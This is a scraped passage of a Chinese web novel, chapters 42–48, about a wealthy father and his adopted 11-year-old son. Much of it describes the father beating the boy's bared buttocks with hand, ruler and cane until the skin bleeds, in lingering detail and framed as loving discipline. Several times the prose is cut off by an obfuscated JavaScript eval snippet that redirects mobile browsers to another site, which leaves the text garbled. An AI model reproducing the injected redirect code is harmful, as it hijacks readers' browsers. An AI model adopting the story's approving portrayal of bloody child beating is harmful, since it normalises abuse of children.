忘了有多久没有见到尤朗，久得他以为以后的日子都会这样过去时，尤朗终于回来了。 尤朗是在晚上回来的，下午刚和三中的校长喝过茶，用公司的名义捐了六十万给学校购买体育器材，当然还顺便确认了一下今年底的新生入学名单。 捐给学校的钱，不要白不要，校长高高兴兴地回答：“反正就在这个学区里，有户口就行。” 尤朗松了一口气，千斤重的担子终于卸下了，晚上便拿着一堆文件回了家。 邱嘉楠见到爸爸，一时说不出话来，倒是他怀里的阿拉斯加“汪汪汪”地喊了一声爷爷。 尤朗脸上写满疲态，走到沙发边坐下，文件就放在桌上，轻声问：“吃饭了吗？” 邱嘉楠随手拍拍阿拉斯加，狗狗识相地挪下了沙发，恋恋不舍地围着小孩来回绕了一会，最后不情不愿地上楼去了。 “吃、吃了。”邱嘉楠想，太久不和爸爸说话，他都不会说话了。 “愿意跟爸爸说话了？” 邱嘉楠不太敢看爸爸，垂着眼眸，点点头。 两人中间隔着点距离，尤朗看着小孩又委屈又胆怯的模样，心都化成了水，开口道：“过来。” 邱嘉楠站起身，往爸爸那边走了两三步，都到跟前了也不说话，更不敢伸手抱。尤朗知道他，拉拉他的手，把人拽到自己怀里。 眼泪温热。邱嘉楠根本忍不住，一个多月的担心后悔全在这一刻流了出来。尤朗听着小孩压在喉咙里的哽咽，心中作痛，调整了下姿势，完全把小孩抱在怀里，一边拍着小孩的背一边哄：“没事了，都没事了，楠楠不要哭，你一哭，爸爸心都要碎了。” 尤朗不说还好，他一说小孩就更难受了。邱嘉楠本来就后悔自己说了那样的话伤爸爸的心，可是爸爸还反过来安慰自己。爸爸不知道对自己多好，可是他还伤爸爸的心。 “呜呜呜……对不起，爸爸，呃，对不起……” 小孩哭得一把鼻涕一把泪的，尤朗想笑又不好意思，只得取了纸巾来给他擦眼泪鼻涕：“爸爸又不怪你，不哭了啊，再哭明天我去公司告诉大家，邱董这么大了还要哭鼻子，嗯？快别哭了。” 43. 第 43 章 邱嘉楠哭了快半个小时才缓缓消停下来，抽抽嗒嗒的。尤朗摸着小孩的左脸，问：“那天爸爸打你痛不痛？” 邱嘉楠本想和爸爸修复关系，说不痛会好一点，可是他又娇气，想讨爸爸心疼，于是就装模作样地点点头。 果然，尤朗心疼得不行，又搂又抱的：“都怪爸爸，爸爸那天气头上，以后不这样打楠楠了，好不好？” 邱嘉楠窝在爸爸怀里，点点头。 “那天晚上打了你，爸爸也很难受，睡不着，就去看了你。”尤朗道，“想看看打伤没有，又怕把你弄醒了。” “我没睡着。” “什么？” 邱嘉楠看了一眼爸爸，又不好意思地避开了：“我说我没睡着，你来看我，我都知道啦！” 尤朗也不恼，只觉得小孩小模小样的好笑：“嗯，我们楠楠神通广大了。” “你为什么这么久都不回来？” 既然小孩问了，尤朗就顺势把这事说了，指指茶几上的文件：“看看。” 邱嘉楠不知道是什么，随便翻了一下，三中的资料、购房合同、清河区的学区划分图……乱七八糟一堆。邱嘉楠隐隐有了猜测，却不敢断定，磕磕巴巴问：“这、这是……是什么？” “楠楠不是不想去英国吗？那就不去了。爸爸送你出国的本意是让你接受好的教育，不是让你伤心。你不想离开爸爸，那我们就在N市上学。手续都办好了，等着开学通知就行。” 邱嘉楠一时之间说不出话来，原来爸爸这么久不回家都是在给自己处理升学的事吗？就因为自己闹了一点脾气，爸爸就…… “爸爸。”这一声唤得有些歉意，尤朗忙问：“怎么了？” 邱嘉楠反身抱住爸爸：“对不起爸爸，我不应该胡闹。” “没事的，你不说爸爸也不会知道你想要什么，是爸爸太心急了，想着什么都给你解决好，没有顾及到你的感受。” 邱嘉楠把下巴搭在爸爸肩上，瓮声瓮气道：“谢谢爸爸。” “不生爸爸气了？” 邱嘉楠摇摇头。 尤朗拍拍小孩的背：“好，那我们来算账，上楼去小客厅，把上次那个盒子拿下来。” 邱嘉楠花了几秒钟反应那小盒子是什么东西，随后不可置信地看着爸爸。他是很不想挨打的，而且这次闹成这样，爸爸肯定打得很重，可是，他又知道自己该打。 尤朗并不催促他，只是定定地看着他，耐心地等着。 过了一会儿，邱嘉楠还是不情不愿地从爸爸身上下来，往楼上去了。 这个盒子里的戒尺就上回考试考差用了一次。邱嘉楠拿起这个盒子，脸一下就烧了起来，热辣辣的。 “爸爸。”邱嘉楠低着头把盒子递了过去，头压得很低。 尤朗接过盒子，却没有马上打开，只是把小孩揽到怀里，道：“你自己说，都错哪儿了？我们一条一条算。” 一条一条算，那就是有很多条了。邱嘉楠两手从爸爸腰间穿过，环到爸爸背后，像抱着大娃娃一样抱着爸爸，表示自己不想挨打。 尤朗知道小孩的小心思，却不能轻易纵容他：“怎么？爸爸能认错你不能？” “不是……”邱嘉楠声音涩涩的，犹豫了一会，虽然很不情愿，但还是道，“我不应该随便对你发脾气，让你生气。” 尤朗把小孩抱起来，在腿上打横，随后揭下小孩裤子，露出白皙干净的两团肉来：“打三十，你也别哭那么早，今天账多得很，算得慢。” 邱嘉楠趴在爸爸腿上，有些无助，却只能点头：“我知道了，爸爸。” “啪”一声，巴掌落在左边屁股上，立刻炸开一阵新鲜的疼痛，邱嘉楠头皮一麻，抿着唇没有叫出来。 又是一声“啪”，这回是落在右边屁股上，疼痛对称，邱嘉楠轻轻咬住了下唇。 尤朗只用了七八分力，左右开弓，一阵“噼里啪啦”，把两边屁股都打出一层粉嫩嫩的红，手心也阵阵发麻，有点受不住。 三十下巴掌还是好挨的，至少邱嘉楠没哭也没喊。尤朗轻轻摸着小孩屁股，问：“疼不疼？” “疼……”回答里带了一点哭腔，也不知是真疼还是故意讨人心疼。 小孩似乎重了些，尤朗这样被他压着腿，有点不舒服，拍拍他的小屁股，道：“下来，自己跪沙发上。” 邱嘉楠不喜欢跪，上回罚跪他就委屈得不行，现在怎么又要跪？ 尤朗一边让他面对沙发靠背跪好，上身往下靠在沙发背上，正好能把屁股撅起来，一边解释：“不是要罚你跪，就是为了打你顺手点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581283|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也不是什么好话呀！邱嘉楠愤愤的，又知道是自己闹狠了，都是活该。 “接着说，还错哪儿了？”看小孩摆好了姿势，尤朗问道。 邱嘉楠自然地看向木地板，就差没把地板上的木纹刻在脑子里了，闷声道：“我不该和你冷战，不和你说话。” 尤朗弯腰取出盒子里的戒尺，在空中挥了两下，心想发明这些工具的人还是有些贡献的，用手打实在太累了，自己还疼，太亏了。 “这个也打你三十，上回就说过不能这样，这次还是，看来上次就该收拾你一顿。” 邱嘉楠听到身后的声响，知道自己要挨上工具了，心里有些害怕。当那冰凉的戒尺贴到屁股上时，邱嘉楠不受控制地打了个冷颤。 “戒尺打会疼一点，忍着。”考虑到戒尺的威力大，不比巴掌，尤朗收了力，只用了六七分力打下去，“啪”的声音比方才闷一些，在臀上留下一道明显的红痕，在一片粉色上格外突兀些。 “嗯……”邱嘉楠忍不住闷哼了一声。他之前挨戒尺的时候就觉得戒尺可怕，但当时一门心思和爸爸闹脾气，身体上的疼痛倒是其次的了，可是现在，全然地感受着这窄木板子带来的灼热感，他就控制不住要喊了。 “疼就好好记着，犯过的错不要再犯。以前罚你没和你说过，今天同你说，挨打别光顾着喊疼，自己心里要反省，别白挨一顿打。” 邱嘉楠声音颤抖：“我知道了，爸爸。” 尤朗缓了一会儿，依旧扬起戒尺，“啪”地落了下去，位置几乎和刚才重合，红色的尺痕加深了些。这回邱嘉楠没喊，但尤朗知道他肯定是疼的，只是刚说完要反省，故而要作作样子。 “啪啪啪”，戒尺有节奏地拍打下去，很快就让整个臀部布满鲜红的尺痕，远远看去，还以为是血呢！邱嘉楠自然哭了几声，眼泪“啪嗒啪嗒”地砸在木地板上，晕开了那些木纹。 三十下过去，邱嘉楠觉得整个屁股跟烧起来似的，火辣辣地疼。一感觉到戒尺停了，立刻小声啜泣：“爸爸，我疼……” 尤朗也心疼，看小孩乖乖挨打，心软得不行，立马上手给他揉了下；“楠楠乖，很棒。” “还有多少打完？” 尤朗受不了小孩这泪眼朦胧的，硬着心肠道：“你觉得你还有多少错没认？” 44. 第 44 章 邱嘉楠心都要碎了，三十巴掌三十戒尺在他的挨打生涯里已经算重的了，尤其是他叫了爸爸以后，爸爸打他都不会这么重的，尤其是自己一哭一求饶，爸爸多少会舍不得，可是爸爸怎么能这样呢？竟然冷冰冰地问自己还有多少错。 邱嘉楠委屈归委屈，还是很知道自己该打的，千怨万怨只能怨自己之前太傻太冲动，什么话都往外说，现在可不就要还债吗？ “爸爸对我好，我不应该说那些话伤爸爸的心。”这一条邱嘉楠是真心认错的，所有的事情里他最后悔的就是这个。为这桩错挨打，他心甘情愿，甚至暗暗发誓等会一定不会哭喊出声。 尤朗给小孩擦擦眼泪，道：“爸爸确实伤心了，但爸爸不是要怪你，只是告诉你，我们总是很容易伤亲近人的心，因为我们太没有距离，没有界限，也就没有畏惧。” 邱嘉楠很是难过，垂泪道：“我以后不会了，以后再也不让爸爸伤心了。” “别的爸爸相信你，但这一条很难说，甚至爸爸也很难保证完全不伤楠楠的心，但是我们都努力，好吗？” 虽然没有得到全然的保证，但是邱嘉楠能感觉到爸爸的真诚，便也认真点了点头。 “好了，趴好，还是三十。” 还要打三十，邱嘉楠光是想象就已经疼得不行了，小声求饶：“能不能少打一点？” “楠楠，不要求饶，就算你求饶，爸爸也不会答应的，不然你以后就会习惯博同情。爸爸希望你勇敢一点，做错了就认错，该受罚就受罚，不要逃避，可以吗？” 邱嘉楠没办法，只得转身趴回沙发靠背上，双手往下垂着，闷闷道：“我知道了，爸爸打吧。” 尤朗本想给他放一点水的，可是他这么一说，尤朗就知道这水也放不成了，否则小孩以后肯定会靠撒娇来讨心疼。尤朗下了决心，扬起戒尺，更重地拍了下去。 “啊！”小孩的脚趾头疼得蜷了起来，不知是伤上加伤的关系，还是爸爸更用力了，邱嘉楠一下就疼得不行。 当然，那两个原因都有。经过之前的三十巴掌和三十戒尺，整个屁股已经肿起薄薄一层，戒尺随便落在哪儿都疼，更何况尤朗确实比之前更添了一两分力，不疼才是奇怪呢！ 尤朗倒觉得这才是自己想要的效果，让孩子深刻地长一次记性。于是他抬起戒尺，继续用同样的力度拍了下去，闷闷的一声“啪”后紧接着是邱嘉楠的“啊呜”。 戒尺继续下落，邱嘉楠忍不住小小地扭动起来，试图避开戒尺，但一来他怕爸爸生气，不敢动得太厉害，二来爸爸就盯着这个屁股打，再怎么扭也是躲不开的。因而那戒尺还是精准无比地落在他两瓣臀肉上，每一次都完美地照顾到了整个小屁股。 十来下过后，挨得最多的臀峰已经变成了深红色，邱嘉楠的哭声也渐渐放开了，反正怎么都忍不住，不如哭出来爽快些，一边喊着疼一边呜呜哇哇个不停。 尤朗不敢再打臀峰那处，戒尺稍微往下移了移，打在颜色没有那么深的地方，可其实整个屁股都已经没法再打，戒尺无论落在哪里，小孩都要哭喊着疼。 “啪！” “呜！呜呜……爸爸爸爸！疼！啊！”邱嘉楠头是朝下倒的，没哭几下就呛到了，哭着哭着又咳起来，把尤朗给心疼坏了，赶紧丢了戒尺帮小孩拍背。 “来，起来，别倒着了，你这样等会岔气了。” 小孩被爸爸扶了起来，一边咳还一边想，爸爸会不会这样就舍不得再打了。尤朗倒了杯水过来，小心地给他喂了点，邱嘉楠适时撒娇：“爸爸，好疼，能不能下次再打？” 尤朗放下水杯，一眼看穿了他的花花肠子，严肃道：“楠楠。” 邱嘉楠立刻低下了头，仿佛是为自己刚才的想法感到羞愧。 “爸爸知道挨打不好受，爸爸也说过，你挨打，爸爸也心疼，但是你真的好好反省了吗？还是一直想着怎么逃罚？” 十一岁的小孩，哪里有这么强大的意志力和自制力？邱嘉楠分明知道自己不对，可戒尺一拍下来，他根本控制不住想逃。 本能嘛！邱嘉楠委屈地想。 “爸爸不是要怪你，爸爸知道这不好挨，但楠楠还是要勇敢一点。都是要挨的，留到下次挨还不如一次挨完，对不对？” 邱嘉楠撅着小嘴点头。 尤朗不敢再让他那样趴，便将小孩在沙发上放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581284|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平，给了他一个抱枕垫头：“刚刚打了十四下，还有十六下，爸爸要继续了。” 邱嘉楠没有回答，过了片刻，那熟悉的疼痛又在臀上醒来，像是漂浮在海面上的小生物，原本没被注意到，却在一个大浪头的拍打推动下，齐齐向大脑涌来。 “啪！” 脑子仿佛承受不住这么多的疼痛，要疼得炸开了。邱嘉楠再次抽泣起来，哭得酸胀的双眼也很快聚积起一团眼泪在眼底。 “啪！” 眼泪应声而落，晶莹地缀在沙发布料上，很快，眼泪越落越多，却只在布料上留下一团深色的水渍。 屁股已经全然变成了深红色，有一小块地方甚至有破皮的迹象。尤朗捏捏酸软的肩膀，问：“三十下打完了，楠楠，自己想想，还有没有什么错？” 还有，确实还有，还有很多，可是他不想说了。邱嘉楠“呜呜”地哭，疼得难受，又不知道什么时候才能结束，却别无选择，只能老实认错：“我不应该冲动，鲁莽，口不择言。爸爸，我好难受……好疼……” “不要撒娇，楠楠，你心里清楚，这都是你该受的，不要妄图让爸爸主动开口免去你该受的惩罚。” 呜呜呜……为什么明明刚才还那么温柔，一打起人来就翻脸了？邱嘉楠还伤心呢，又听爸爸道：“还是三十，爸爸可能要打到大腿上，你忍忍。” 邱嘉楠不知道打到大腿上是什么概念，懵懂间，“啪”一下，腿上嫩肉顿时火烧火燎一般，仿佛落下的不是戒尺，而是烧红了的烙铁。 “啊！！”邱嘉楠立刻惨叫出声，脖子猛地朝后仰，小手不住捶着柔软的抱枕，像是疼到了极致。他真的不知道打腿上会这么疼，明明这地方和屁股也没什么距离，怎么会差这么多？ 尤朗一看小孩这反应，连忙收了手，知道这不能打，又将戒尺移回了屁股上。可是屁股上也不能挨啊，一戒尺下去，小孩又开始嚎，似乎自己正在受什么满清十大酷刑，扒皮抽筋似的疼。 这三十下注定是漫长的，尤朗打一下，邱嘉楠要哭喊半分钟。尤朗没有办法，只得这样任由他缓解疼痛，边听小孩鬼哭狼嚎边想，这还有得打呢，打完不得哭死？ 45. 第 45 章 邱嘉楠自然不知道爸爸在想什么，只一味哭。如果现在有人来指责他爱哭的话，他一定要反驳，他虽然爱哭，但现在也是真的疼，不信你来试试。 肿得如同两个大馒头的屁股上，遍布深红尺痕，一道一道横亘在两团肉上，血痧隐隐约约地显现各处，总让人感觉下一尺下去，皮肤就会绽然开裂，冒出血珠来。 但皮肤虽然薄，韧性却是不可低估的。尤朗“啪”一下责下戒尺，只是在数不清的尺痕上又添了一道，颜色更为深沉，而屁股仍然完好无损。 “呜呜呜……不要，爸爸！爸爸救我！”邱嘉楠大喊，一直不停地哭让他喉咙略微干涩，尽管刚刚已经喝了一点水，但仍像是要烧起来一般。 “啪！” “啊！”邱嘉楠两腿无意识地蹬着，拼命想要逃脱戒尺的责打。尤朗生怕他胡乱动作蹭到伤，或是导致戒尺打到别处，不得不出声提醒：“楠楠，别乱动！” “不要，不要！太疼了，爸爸要把我打死了！”眼泪流了一脸，黏糊糊的，扯着原本柔嫩的皮肤，非常难受。 尤朗听他这么说，也心疼得紧，不得不停下来给他揉揉小屁股。这一揉才发现，原本温软的肉团已然有些不易察觉的硬块，大概是淤得太厉害了。 “呃……爸爸，我知道错了，爸爸不要打，我要疼死了！呜……”邱嘉楠顾不上那么多，只一个劲喊不要，尤朗却听出来，声音嘶哑了。 “好了，不哭了，还没打完。”尤朗也知道这次实在打得太狠了，可是谁让这小孩越长大越不懂事，不教训也不成的。 尤朗说罢，重新拿起戒尺。为防止小孩乱动，他伸出左手按住了小孩的腰，随后，右手抬起戒尺，“啪啪啪”连续几下拍上。小孩只觉得眼前一黑，差点晕过去，接着爆出一阵惊天动地的哭声——破音了都。 邱嘉楠已经感知不到具体的疼痛，就好像是在水里泡久了区分不出身上哪里有水一样。他现在同样区分不出那些疼痛的细微差别，整个屁股，甚至整个人，都麻木了。 尤朗快刀斩乱麻，一边听着小孩的魔音，一边迅速地结束了这磨人的三十戒尺。到最后，他实在不忍心问小孩还错哪里了，只是，这惩罚却是没有结束。 戒尺被放回盒子里，尤朗取出了那根细细的藤条，道：“别的都不算了，爸爸最后跟你说一点，以后，绝不允许你再说自己是个没要人的孩子这样的话。你知道爸爸爱你，爸爸也确实会永远爱你，但是，最重要的，是你要自尊自重自爱。你自己都看不起自己，还指望谁来爱你？” 邱嘉楠呆愣愣地看着那根细细的藤条，不知道它打在这个饱受摧残的屁股上是何滋味，一时恐惧大过了别的情绪，就连爸爸说的话也是左耳进右耳出，反正就那么个意思，他明白。 “别的错误打你三十，这一条，要罚你五十。” 什么？邱嘉楠猛地抬起头，惊恐地睁大了双眼。打五十？真的不会打死吗？“不要，爸爸不要。”邱嘉楠下意识地摇头，拼命想躲，可是他就趴在这沙发上，能往哪里躲呢？ “你听话，打完这五十就没有了，爸爸再给你上药。不听话的话，就还要再打。” 邱嘉楠“呜”一声流下了眼泪。尤朗怀疑，他这一个晚上，估计要哭脱水了。 尤朗也不忍心，还是抱着小孩抚慰了一番，又亲又抱，好生鼓励，最后才看到邱嘉楠极不情愿地点头。 还是方才的姿势，趴在沙发上。尤朗往小孩的腹部下塞了一个柔软的抱枕，已经肿得几倍大的小屁股完美地翘起，无辜地准备替小孩那张喜欢胡说八道的嘴受罚。 细细的藤条搭在臀上，邱嘉楠根本感受不到，可是，当“咻啪”一声，藤条如同刀子一般割下来时，邱嘉楠顿时惨叫出声：“啊！！” 太疼了！跟巴掌、戒尺都不一样，跟他以前挨过的琴弓、文件夹拉杆、鸡毛掸子、皮带也都不一样。它像薄薄的刀片，一下划开了皮肤，也像冬天的北风，打在干燥的脸上时，会把笑脸相迎刮出一道道口子。 疼痛传遍四肢百骸，邱嘉楠头眼昏花十几秒，才慢慢缓和过来，只觉得人要疼晕了。 邱嘉楠的感觉并没有错，刚才一直没打破的屁股经不起藤条的狠戾，才一下，就抽破了皮，几秒后，一小颗晶莹的血珠从破皮的地方缓缓冒出来。 按照这么个打法，五十下过去，那是真的皮开肉绽了。 尤朗将藤条往下移了一点，“啪”地抽了下去，第二道伤痕与前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花了大半个小时消毒，尤朗轻手轻脚地下楼去厨房找一点冰块，最后找了两瓶因为放了太久完全冻结成冰的矿泉水，小心地给小孩冰一下。 “嗯……”太冻了，一冷一热的，小孩到底是睁开了眼睛。 46. 第 46 章 尤朗解释道：“别动，爸爸给你冰一下，会好一点。” “太冰了。”邱嘉楠认得自己的床，知道不会再挨打，也就没那么怕了，可是直接放冰块在屁股上，也不是什么好主意啊！ 于是尤朗又跑去找了两块干净的小方巾，先包着冰块好一会儿，等它凉凉的，再盖到小孩屁股上。邱嘉楠总算舒服了点，但还是疼：“疼死了……” “光顾着疼，知道错没有？” “知道了，早就知道了……”邱嘉楠声音哑得不行，喉咙痛，“喝水……” 尤朗现在恨不得变成个八爪鱼，一会要用方巾包冰块，一会要给小孩冰敷，现在又要去拿水，这没个七八只手怎么成？ 温水润进口腔的那一瞬间，邱嘉楠又恢复了生命力，就连身后的疼痛都叫嚣了起来，于是又“呜呜呜”地喊疼，把尤朗烦得差点又给他一顿巴掌。 第二天早上邱嘉楠根本起不来，一半是困得起不来，一半是疼得起不来。昨晚冰敷了好久，后来爸爸又陪着说话，哄了老半天才把人哄睡，早上当然起不来了。 尤朗给小孩请了一个星期的假，伺候人穿了衣服吃了早餐，抱在怀里去上班。邱嘉楠屁股疼，可心里高兴，天天窝在爸爸怀里给爸爸画饼：“我以后都超级听话。” “我再也不让爸爸生气了。” “我会好好考的，考第一名。” 前两条没啥，至于最后一条，尤朗道：“别考了，等着升学吧。” 完全不考也不行，环岛奇森虽然是国际私立小学，但在N市升学的学生，还是要参加N市统一安排的小考，有成绩才能升学。 为着这个，邱嘉楠让爸爸给自己买了一些小升初的试卷来做。在学校时很少做这种试卷，一个学期也就期末才这样考，不过邱嘉楠做这种卷子似乎非常得心应手，试做了几套，自己对着答案一改，不说满分，总也差不离。 暑假的时候，尤朗为了感谢一些合作伙伴还有之前帮过忙的人，搞了个小型的活动，三天两夜都在N市内，内容不过是打球、烧烤一类，但他是邀请人家全家来的，算是亲子活动吧。 体育馆里，几个男孩子投篮投得“砰砰”响，震得邱嘉楠耳朵痛。他没学过篮球，以前一上篮球课，老师就让他坐在旁边看同学打，连球都没摸过几回，看人家“唰唰唰”地把球投进筐里，心里痒痒的。 “楠楠也去玩？”尤朗低头问。 邱嘉楠拿了个球，随便扔了几下，都没扔到篮筐高，几个年龄相仿的小孩都忍不住笑。一个女孩手里抱着一只温顺的猫，喊道：“你用点力啊！” 那是建材老何的女儿，宠物不离身。 邱嘉楠很受挫败，为什么他学别的东西这么快，一到体育就不行？尤朗看着小孩，蹲到地上，一把将小孩放在自己肩膀上坐着：“楠楠，爸爸带你去。” 邱嘉楠怀里抱着圆圆的球，一手小心地抓着爸爸的衣领，生怕摔下来。尤朗也不敢走快，一步一步往篮筐去，稳稳的。周围的人见了，都停下来看，纷纷取笑尤董是儿奴。 尤朗本身就高，邱嘉楠往爸爸肩上一坐，到了篮筐底下，邱嘉楠都能摸到篮筐了。 “楠楠，投一个。” 邱嘉楠很高兴，放开爸爸的衣领，两手一起，把球送进了篮筐：“爸爸，我投中啦！” 尤朗抓着小孩两条腿，笑道：“楠楠真棒！” 正高兴着呢，刚退开一步，突然一个篮球“唰”地不知从什么地方过来，空心进筐，吓了邱嘉楠一跳，还好没摔下来。 “孟承云！” 一个男孩转过头来，无所谓地耸耸肩，朝着喊他的人道：“我投篮嘛！” “你少来，别以为我不知道你什么毛病，把人吓着了看我收不收拾你！” 尤朗边走边将小孩放了下来，道：“你对小朋友这么凶，我们还没吓着，你先把儿子吓着了。” 那人名唤孟先扬，是上回给尤朗提议去买老单位房的熟人，之前尤朗拍三中教师宿舍区那块地的时候就认识了，这回和妻子带着小孩一起来玩。听尤朗这么说，孟先扬倒不好意思了，道：“他就那样，显摆！” 傍晚时分，一群人在日租别墅里做饭烧烤，会做饭的在厨房里乒乒乓乓地弄，不会做饭的在外面聊天，小朋友们围着烧烤架，被炭火熏得眼泪都要流出来了都不肯走。 邱嘉楠不和别的小朋友一起玩，窝在爸爸怀里，听爸爸和别人说话。过了一会儿，那个叫孟承云的小孩手里拿着几串牛肉跑过来了。 孟先扬看他一眼，道：“你给人家几串， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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尤朗带着小孩一路到了他们那栋小别墅。别墅里外都刮了腻子，残留着一点味道。其他的装修都还没做，空荡荡的。 “看看，你把房间挑了，到时候装修起来方便一点。” “哇！”邱嘉楠仰着头，惊叹道，“好大啊！比现在的房子大好多！爸爸我迷路了！” 尤朗被他逗笑了：“别装了，走吧。” 47. 第 47 章 阿拉斯加一直“汪汪”个不停，兴奋异常，到处看。尤朗和小孩也不管它，自顾自地巡视起房子来：“这里做餐厅，里面是厨房，我们可以在外面做个小餐厅，天气好的时候可以在外面吃早餐，或者喝下午茶。” 邱嘉楠拉着爸爸的手：“这里要有一个给山田心吃饭的地方。” “会有的。”尤朗牵着小孩上了楼，环形楼梯比现在家里那个直上直下的有意思，阿拉斯加上上下下地跑，玩得不亦乐乎。 二楼最里面是主卧，很大，邱嘉楠“哇哇”地喊着：“这里好大，要是在这里打游戏，肯定很爽！” “这是主卧，按理说，爸爸要睡这里。” “不管不管，我就要在这里打游戏，我要有一个游戏厅。”邱嘉楠摇着爸爸的手哀求道。 尤朗拿他没办法，只好道：“好，给你做游戏厅。” 邱嘉楠高兴了，又跟着爸爸去看其他的房间。他挑了一间窗户大的做卧室，每天早上能看到太阳。尤朗失去了主卧，干脆道：“那爸爸住你旁边吧！” 可是，两人一走进旁边那个房间，就看见山田心在里面摇头摆尾，高兴得不得了。邱嘉楠立刻喊起来：“不行！山田心喜欢这里，要让山田心住！” 尤朗一愣，这什么家庭地位啊？ “不是，那爸爸住哪儿？” 邱嘉楠也没想爸爸住哪儿，反正爸爸有钱，又有好多房子，也不是每天回家，住哪里也不是很重要。他敷衍道：“反正，你就随便住吧。” 这话说得，跟主人对客人说你别客气一样。 虽然新家还什么都没有，可邱嘉楠心满意足，一直到下午回到家还是笑着的。他拉开车门，下了车，却见打扫卫生的阿姨正站在门外张望，似乎是在等他们。 尤朗也看见了，颇感奇怪。他们家的佣人都是干完活就离开的，只做自己职责内的事，从来不用等主人回来，像今天这种站门外等人的情况，属实少见。 “怎么了？”尤朗带着小孩走过来。 阿姨神情奇怪：“家里来人了。” 家里怎么会来人？尤朗眉心一蹙，一般要找他都会到公司去，从来没有到家里来找他的。 “谁？” 阿姨看看尤朗，又看看邱嘉楠，难为情地开口：“是，是太太回来了。” 邱嘉楠觉得自己仿佛做了一场梦，梦里他从荒漠来到了绿洲，又从绿洲飘到了天上，躺在柔软的云朵上，周围又明亮又温暖，可是一睁开眼，他又回到了荒漠里。 一滴水也没有。 这场梦做了快三年了，他躺在云朵上也快两年了。 邱嘉楠心脏“扑通扑通”地跳，虽然拉着爸爸的手，但仍止不住颤抖。进了门，他一眼就看到坐在沙发上那个女人。她穿着一字肩的包臀裙，身材前凸后翘，婀娜多姿，转头向这边看来时，简直端庄得有些做作。 她看向邱嘉楠，似乎有些迟疑：“嘉楠？你长这么大了。” 邱嘉楠突然觉得胃有些难受，似乎中午吃进去的饭都在里头滚涌。他没有应声，也没有和尤朗说什么，只是松开手，直接跑上了楼。 尤朗张了张嘴，似乎想叫小孩，但到底没有出声，任由他去了。 打扫卫生的阿姨识相地留在了外头，客厅里只有这对曾经的夫妻。尤朗看着邱蕊，慢慢走过来坐下。 “你一直带着他，看样子，你对他很好。” 尤朗的大拇指和食指相互摩擦着，没有马上回答她。他知道，邱蕊绝不是突然之间良心发现回来当好妈妈的。他能查到邱蕊，邱蕊那边也必然能查到他。这两年他把邱嘉楠宠上了天，别说公司上下，就是整个相关的产业圈子，几乎都知道了。 敌暗我明。 “有话就直说吧，不用兜圈子。” 邱蕊捻了下耳边的碎发，还真“直说”了：“这几年麻烦你照顾他了，我是回来和你离婚的，当然也要带走我儿子。” “离婚可以，带走他，不可能。” 邱蕊笑了：“尤朗，你还是这么自信霸道。你不要忘了，我是他亲生妈妈，他叫邱嘉楠，姓邱，你跟他半点血缘关系都没有。我问过律师了，判给你的可能性很小。” 是，他有律师，知道邱蕊回来离婚根本分不到什么财产，但对方也有律师，一下就抓住了他的软肋。 “你想要什么？” “我当然想要我亲儿子，他是我怀胎十月生的，是我身上掉下来的肉，你不会以为可以用利益交换我的儿子吧？” 尤朗冷笑一声：“难道不是吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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邱嘉楠站起来，给了爸爸一个拥抱，像是分别一般，红着眼眶道：“我不能带山田心走了，爸爸要帮我照顾它。”这么一句话，眼泪就掉了好几串。 “谢谢爸爸对我好，谢谢爸爸爱我，谢谢爸爸，让我有爸爸。”其实小孩真的很难受，但是到了最后的时刻，他希望爸爸能记住他懂事的模样，“我以后，还能不能再见到爸爸？” 尤朗看着小孩，没有回答这个问题，只认真问：“你告诉爸爸，你想不想和妈妈一起走？” 48. 第 48 章 这个问题根本不必问，但小孩也不想回答，一切都没有意义了。 但尤朗不肯罢休，仍问：“告诉爸爸，你想不想和妈妈一起走？” “如果你想，爸爸今天就让你和妈妈走，如果你不想，爸爸会竭尽全力。” 邱嘉楠根本意识不到爸爸说的竭尽全力是什么意思，只是知道竟然还有不想这个选项，于是他眨眨眼，道：“我想和爸爸在一起。” “好。”尤朗点点头，给小孩擦了眼泪，带着小孩下了楼。 尤朗毫不畏惧地将小孩带到邱蕊面前，将他推到这个所谓的妈妈跟前，理直气壮道：“你是亲妈对不对？那我问你，他的贫血是什么类型？他今年的血红蛋白含量是多少？他穿多大码的鞋？喜欢什么颜色？班里最好的同学是谁？这些问题你但凡回答上一个，我就承认你是亲妈。” 